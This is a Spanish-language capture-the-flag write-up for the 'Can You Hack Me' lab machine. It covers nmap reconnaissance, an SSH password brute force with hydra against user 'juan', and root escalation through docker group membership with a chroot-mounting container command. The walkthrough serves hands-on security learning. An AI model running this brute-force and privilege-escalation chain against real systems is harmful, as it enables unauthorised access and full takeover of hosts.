CAN YOU HACK ME

Primero buscamos en nuestra red la máquina para obtener la ip:

```
arp-scan -I ens33 --localnet
```

```
192.168.0.43    08:00:27:6e:63:b9
```

Ahora confirmamos la conectividad con la máquina:

```
❯ ping -c 1 192.168.0.43
PING 192.168.0.43 (192.168.0.43) 56(84) bytes of data.
64 bytes from 192.168.0.43: icmp_seq=1 ttl=64 time=0.456 ms
```

Tenemos conectividad y una ttl de 64, por lo que probablemente estemos ante una máquina Linux.

Ahora vamos a hacer el reconocimiento de puertos:

```
❯ nmap -sS -p- --open --min-rate 5000 -n -vvv -Pn 192.168.0.43 -oG allPorts
```

```
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
```

En este caso solo tenemos 2 puertos abiertos. Ahora vamos a hacer un reconocimiento más exhaustivo de estos dos puertos:

```
nmap -sCV -p22,80 192.168.0.43 -oN targeted
```

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a8:da:3d:7d:c8:cd:c7:69:ce:ed:13:fa:de:b9:96:50 (ECDSA)
|_  256 03:24:b9:cc:0b:c2:15:09:db:73:9b:b5:24:d5:41:ca (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://canyouhackme.thl
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 08:00:27:6E:63:B9 (Oracle VirtualBox virtual NIC)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Vemos que nos intenta redirigir a canyouhackme.thl pero no puede, por lo que vamos a meterlo en etc/hosts para que así pueda redirigirnos bien:

```
192.168.0.43 canyouhackme.thl
```

Y ahora analizamos la web.

En el código fuente vemos lo siguiente:

```
/* Hola juan, te he dejado un correo importate, cundo puedas, leelo */
```

Ya tenemos un nombre de usuario, por lo que vamos a intentar aplicar fuerza bruta para sacar la contraseña:

```
❯ hydra -l juan -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.43
```

```
[22][ssh] host: 192.168.0.43   login: juan   password: matrix
```

Y ya la tenemos, ahora vamos a acceder:

```
ssh juan@192.168.0.43
```

```
juan@TheHackersLabs-CanYouHackMe:~$ whoami
juan
```

Y estamos dentro, ahora vamos a escalar privilegios.

```
juan@TheHackersLabs-CanYouHackMe:/home$ id
uid=1001(juan) gid=1001(juan) groups=1001(juan),100(users),1002(docker)
```

Como vemos, juan pertecene al grupo dockers, y con ello, podemos elevar nuestros privilegios:

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

```
# whoami
root
```

Y ya somos root.